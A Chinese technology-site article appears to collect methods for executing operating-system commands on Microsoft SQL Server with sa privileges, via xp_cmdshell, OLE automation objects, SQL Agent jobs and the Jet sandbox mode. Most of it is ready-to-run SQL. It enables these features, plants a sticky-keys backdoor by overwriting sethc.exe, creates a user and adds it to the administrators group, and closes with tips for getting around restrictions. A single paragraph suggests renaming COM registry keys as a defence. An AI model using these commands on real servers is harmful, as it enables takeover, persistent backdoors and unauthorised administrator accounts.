当前位置: 移动技术网 > 网络运营>安全>企业安全 > mssql的sa权限执行命令方法总结

mssql的sa权限执行命令方法总结

2019年05月25日  | 移动技术网网络运营  | 我要评论
 测试环境:windows xp pro sp2 + mssql 2005(服务以system权限启动)
  一.xp_cmdshell
  exec master..xp_cmdshell ‘ipconfig’
  开启xp_cmdshell:
  – to allow advanced options to be changed.
  exec sp_configure ’show advanced options’, 1
  go
  – to update the currently configured value for advanced options.
  reconfigure
  go
  – to enable the feature.
  exec sp_configure ‘xp_cmdshell’, 1
  go
  – to update the currently configured value for this feature.
  reconfigure
  go
  二.sp_oacreate
  创建wscript.shell对象
  use master declare @o int exec sp_oacreate ‘wscript.shell’,@o out exec sp_oamethod @o,‘run’,null,‘cmd /c "net user" > c:\test.tmp’
  创建scripting.filesystemobject对象
  declare @o int
  exec sp_oacreate ’scripting.filesystemobject’, @o out
  exec sp_oamethod @o, ‘copyfile’,null,‘c:\windows\explorer.exe’ ,‘c:\windows\system32\sethc.exe’;
  declare @oo int
  exec sp_oacreate ’scripting.filesystemobject’, @oo out exec sp_oamethod @oo, ‘copyfile’,null,‘c:\windows\system32\sethc.exe’ ,‘c:\windows\system32\dllcache\sethc.exe’;
  可以用utilman.exe代替sethc.exe达到同样的效果 后门很酷吗,呵呵
  创建shell.application对象
  declare @o int
  exec sp_oacreate ‘shell.application’, @o out
  exec sp_oamethod @o, ‘shellexecute’,null, ‘cmd.exe’,‘cmd /c net user >c:\test.txt’,‘c:\windows\system32′,”,1;
  开启ole automation procedures
  sp_configure ’show advanced options’, 1;
  go
  reconfigure;
  go
  sp_configure ‘ole automation procedures’, 1;
  go
  reconfigure;
  go
  我们的对策就是把对象做一下手脚
  wscript.shell可以调用系统内核运行dos基本命令
  可以通过修改注册表,将此组件改名,来防止危害。
  hkey_classes_root\wscript.shell\
  及hkey_classes_root\wscript.shell.1\
  改名为其它的名字,如:改为wscript.shell_changename或wscript.shell.1_changename
  自己以后调用的时候使用这个就可以正常调用此组件了
  也要将clsid值也改一下
  hkey_classes_root\wscript.shell\clsid\项目的值
  hkey_classes_root\wscript.shell.1\clsid\项目的值
  同wscript.shell理、scripting.filesystemobject、shell.application
  三.job
  利用job执行命令,有一个先决条件就是开启sqlserveragent服务,下面的语句可以开启
  exec master.dbo.xp_servicecontrol ’start’,'sqlserveragent’
  use msdb create table [jncsql](resulttxt nvarchar(1024) null) exec sp_delete_job null,‘x’ exec sp_add_job ‘x’ exec
  sp_add_jobstep null,‘x’,null,‘1′,‘cmdexec’,‘cmd /c "net user>c:\test.test"’ exec sp_add_jobserver
  null,‘x’,@@servername exec sp_start_job ‘x’;
  四.sandboxmode(网上常说的沙盒模式)
  原理:在access里调用vbs的shell函数,以system权限执行任何命令。但是试用这个函数之前必须把注册表里的一个叫sandboxmode的开关打开,
  注册表:hkey_local_machine\software\micris
  oft\jet\4.0\engine\sandboxmode.默认值为2,这个人键值为0表示始
  终禁用sandboxmode模式,1表示对于非acess应用程序试用sandboxmode模式,2表示对access应用程序使用sandboxmode模式,3则表示完全开启安全设置。//1或0都可以执行命令
  exec sp_addlinkedserver ‘testsql’,'ole db provider for jet’,'microsoft.jet.oledb.4.0′,’c:\windows\system32\ias\ias.mdb’
  exec master..xp_regwrite ‘hkey_local_machine’,‘software\microsoft\jet\4.0\engines’,‘sandboxmode’,‘reg_dword’,1
  exec master..xp_regread hkey_local_machine ,‘software\microsoft\jet\4.0\engines’,‘sandboxmode’
  select * from openrowset(‘microsoft
  .jet.oledb.4.0′,‘;database=c:\windows\system32\ias\ias.mdb’,’select shell("cmd.exe /c net user test test /add")’)
  select * from openrowset(‘microsoft.jet.oledb.4.0′,
  ‘;database=c:\windows\system32\ias\ias.mdb’,’select shell("cmd.exe /c net localgroup administrators test /add")’)
  下面是系统自带的两个mdb文件
  c:\windows\system32\ias\dnary.mdb
  c:\windows\system32\ias\ias.mdb
  总结
  上述几种方法(仔细看看我都忘记有几种了,哈哈。你可以发散思维,再找出来几种)都是在默认情况下测试的,往往渗透的时候有很多限制条件,我们可以逐一克服,利用组件得到服务器信息,读取、创建文件了等等,我们还是要对权限这个词组有深层次的理解啊。
  附注
  关于*.exe c:\windows\system32\ 还有c:\windows\system32\dllcache呢
  关于cmd.exe还有command.exe呢
  关于net.exe还有net1.exe呢
  mdb文件不存在我们可以上传一个啊
  执行命令的组件不是只有一个哦

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网